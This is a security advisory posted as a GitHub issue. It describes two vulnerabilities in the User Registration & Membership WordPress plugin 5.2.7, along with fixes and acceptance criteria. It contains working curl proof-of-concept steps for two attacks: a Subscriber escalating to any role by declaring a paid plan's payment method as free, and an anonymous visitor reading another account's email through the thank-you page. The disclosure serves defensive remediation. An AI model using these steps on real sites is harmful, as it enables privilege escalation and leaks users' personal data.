Skip to content

[Security] Membership purchase handler grants any role without payment; thank you page leaks another account's details (5.2.7) #1426

Description

@y000yal

Reported by: Karthik Ramakrishnan (via WPScan / Erwan Le Rousseau, Automattic). Affects: User Registration & Membership 5.2.7 and earlier. Verified against code on develop.

Two issues from the same report thread as #1423. Both reproduced by the reporter on 5.2.7 and confirmed against the code here.


Issue A - Subscriber can be granted any role through the membership purchase handler

Auth required: Subscriber. Impact: High - privilege escalation to any role a plan is mapped to, including Administrator, with no payment.

Summary

wp_ajax_user_registration_membership_add_multiple_membership (modules/membership/includes/AJAX.php:2066) verifies a nonce and nothing else. It does not validate:

  • that the submitted selected_pg is a payment method the plan accepts,
  • that selected_membership_id is an active plan,
  • anything about the caller beyond "logged in".

The nonce is not a barrier: urm_upgrade_membership is localised to every front-end visitor of the plan listing (modules/membership/includes/Frontend/Frontend.php:200).

The submitted payment method then decides whether the plan's WordPress role is deferred.

modules/membership/includes/Admin/Services/MembershipService.php:136

$members_data['defer_role'] = ! empty( $members_data['membership_data']['payment_method'] ) && 'free' !== $members_data['membership_data']['payment_method'];

MembersService::update_user_meta() (:241) grants the role immediately when defer_role is falsy. So selected_pg=free on a paid plan grants the plan's role in the same request, while the order row is written pending and unpaid.

The registration path (modules/membership/includes/Admin.php:537-587) already validates plan and payment method against the plan's own config (added for UR-4386), and the upgrade path derives defer_role without the ! empty() prefix so it fails closed (SubscriptionService.php:636). The purchase handler is the one that does neither.

Two variants a narrow fix would miss

  1. selected_pg= empty clears the same flag, because ! empty( ... ) && short-circuits before the 'free' comparison. Matching only the literal string free leaves this open.
  2. selected_membership_id is never checked against post_content.status, so a deactivated plan (still publish, so MembershipRepository::get_single_membership_by_ID() returns it) can be purchased by id and its role granted.

defer_role did not exist before 5.2.7 - those releases grant the role for any payment method. The reporter reproduced that on 5.2.6 with an ordinary bank transfer, so the deferral is a partial guard over older behaviour rather than the origin. The handler first appears in 5.0.

Steps to reproduce

Site with the Membership module enabled, a paid plan whose Membership Role is above Subscriber, and a page carrying the plan listing shortcode.

# Log in as a Subscriber.
curl -s -c jar -o /dev/null \
  -d "log=subscriber&pwd=PASSWORD&wp-submit=Log+In&testcookie=1" "$TARGET/wp-login.php"

# Admin-only screen not reachable yet.
curl -s -o /dev/null -w "before: %{http_code}\n" -b jar "$TARGET/wp-admin/users.php"
#   before: 302

# Read the membership nonce off the public plan listing page.
NONCE=$(curl -sL -b jar "$TARGET/plans/" \
  | grep -o '"upgrade_membership_nonce":"[a-f0-9]*"' | head -1 | cut -d'"' -f4)

# Buy the paid plan while declaring the payment method as free.
curl -s -b jar -X POST \
  "$TARGET/wp-admin/admin-ajax.php?action=user_registration_membership_add_multiple_membership" \
  -d "action=user_registration_membership_add_multiple_membership" \
  -d "security=$NONCE" -d "selected_membership_id=PLAN_ID" -d "selected_pg=free"
#   {"success":true,"data":{...,"message":"Membership purchased successfully.","order_id":"1"}}

# Role already granted, order still pending and unpaid.
curl -s -o /dev/null -w "after:  %{http_code}\n" -b jar "$TARGET/wp-admin/users.php"
#   after:  200

Repeat with -d "selected_pg=" for variant 1, and with a deactivated plan id for variant 2.

Remediation

  1. Extract the plan and payment-method validation currently inline in Admin.php into one reusable validator on MembershipService, and call it from both entry points so every order-creating caller routes through one guard:
    • plan must exist, be publish and have a truthy post_content.status (active);
    • a free type plan forces payment_method = 'free';
    • a non-free plan requires a non-empty payment method present in the plan's configured gateways or the globally active gateways, with free accepted only when a 100% coupon genuinely zeroes a one-time plan (is_full_discount_free_order()).
  2. Fail closed on defer_role: drop the ! empty( ... ) && prefix at MembershipService.php:136, so a missing or empty payment method defers the role instead of granting it.

Acceptance criteria

  • selected_pg=free and selected_pg= on a paid plan both return an error and grant no role.
  • A deactivated plan id returns an error.
  • Free purchase, paid purchase (bank / PayPal / Stripe), 100%-coupon purchase and multiple-membership purchase all still complete, and a paid plan still grants its role only once the subscription is active.

Issue B - Any visitor can read another account's details from the membership thank you page

Auth required: none. Impact: Low - depends on the site owner having put a user smart tag in the thank you block header.

Summary

modules/membership/includes/Templates/thank-you-page.php:51-65 takes a username from the query string, resolves the matching account with get_user_by( 'login', ... ), and feeds that account's ID and user_email into user_registration_process_smart_tags. Nothing checks that the visitor owns the account they named, and nothing checks that a registration or purchase happened.

An anonymous visitor naming an account gets back whichever of that account's details the page is configured to show: email address, display name, profile fields, role, plan and order information including the transaction id.

The shipped default header carries no user smart tag, so a stock configuration leaks nothing. The same template is reached through the shortcode (ThankYouShortcode::render_template()) and the Gutenberg block (UR_Block_Thank_You), which passes the header through unchanged - both are affected. The Divi module passes no header and is unaffected.

Second handle

SubscriptionService::get_membership_plan_details() (:330-339) prefers the order matching a submitted transaction_id over the named member's own order, with no check that the order belongs to $data['member_id']. So one request can pair one account's identity with another account's payment record. A fix targeting only the username would miss this.

Steps to reproduce

With the thank you block header configured as, for example, A receipt has been sent to {{email}} ({{display_name}}).

# No cookies, no account.
curl -s "$TARGET/thankyou/?username=admin"
#   A receipt has been sent to admin@example.com (Super Admin).

# Control: same page with no username parameter resolves nothing.
curl -s "$TARGET/thankyou/"
#   A receipt has been sent to  ().

Remediation

  1. Resolve the subject account in thank-you-page.php from the authenticated session (wp_get_current_user()), never from $_GET['username']. Both the shortcode and the block route through this template, so one change covers both.
  2. In get_membership_plan_details(), accept the transaction-id order only when its user_id matches the member being rendered, so a submitted transaction id cannot pull another account's order.

Note the behaviour change: on a site where registration does not auto-log-in the member, the thank you page can be reached while logged out, and user smart tags will no longer resolve there. Failing closed is correct - a single-use token issued at purchase would preserve that case and can follow separately if it turns out to matter.

Acceptance criteria

  • ?username=<other account> while logged out or logged in as a different user resolves no user smart tags.
  • ?transaction_id=<another member's transaction> does not surface that member's order or plan details.
  • A member landing on the thank you page after their own purchase still sees their own email, name, plan and transaction id.

Release

Both fold into 5.2.8, alongside #1423. The reporter has offered to check a build before release, as with the previous round.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions